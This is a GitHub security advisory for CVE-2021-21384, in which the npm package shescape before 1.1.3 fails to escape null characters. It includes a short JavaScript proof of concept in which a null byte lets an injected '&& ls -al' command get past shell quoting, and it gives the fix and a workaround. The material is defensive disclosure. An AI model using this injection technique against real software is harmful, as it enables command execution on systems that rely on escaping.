GitHub Advisoryadvisory · npm

GHSA-f2rp-38vg-j3gh Null characters not escaped

HIGH Published 2021-03-18 Modified 2021-03-18 Official page ↗
Aliases
CVE-2021-21384
Ecosystem
npm
Packages
shescape
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N
Weaknesses
CWE-88
Reviewed
2021-03-18

Affected packages

• npm shescape: < 1.1.3 → fixed in 1.1.3

Description

Impact Anyone using _Shescape_ to defend against shell injection may still be vulnerable against shell injection if the attacker manages to insert a null character into the payload. For example (on Windows): ```javascript const cp = require("child_process"); const shescape = require("shescape"); const nullChar = String.fromCharCode(0); const payload = "foo\" && ls -al ${nullChar} && echo \"bar"; console.log(cp.execSync(`echo ${shescape.quote(payload)}`)); // foototal 3 // drwxr-xr-x 1 owner XXXXXX 0 Mar 13 18:44 . // drwxr-xr-x 1 owner XXXXXX 0 Mar 13 00:09 .. // drwxr-xr-x 1 owner XXXXXX 0 Mar 13 18:42 folder // -rw-r--r-- 1 owner XXXXXX 0 Mar 13 18:42 file ``` Patches The problem has been patched in v1.1.3 which you can upgrade to now. No further changes are required. Workarounds Alternatively, null characters can be stripped out manually using e.g. `arg.replace(/\u{0}/gu, "")`

Related

Alias · CVE (1)

  • CVE-2021-21384 shescape is a simple shell escape package for JavaScript. vulnerability

Weakness · CWE (1)

  • CWE-88 Improper Neutralization of Argument Delimiters in a Command weakness

References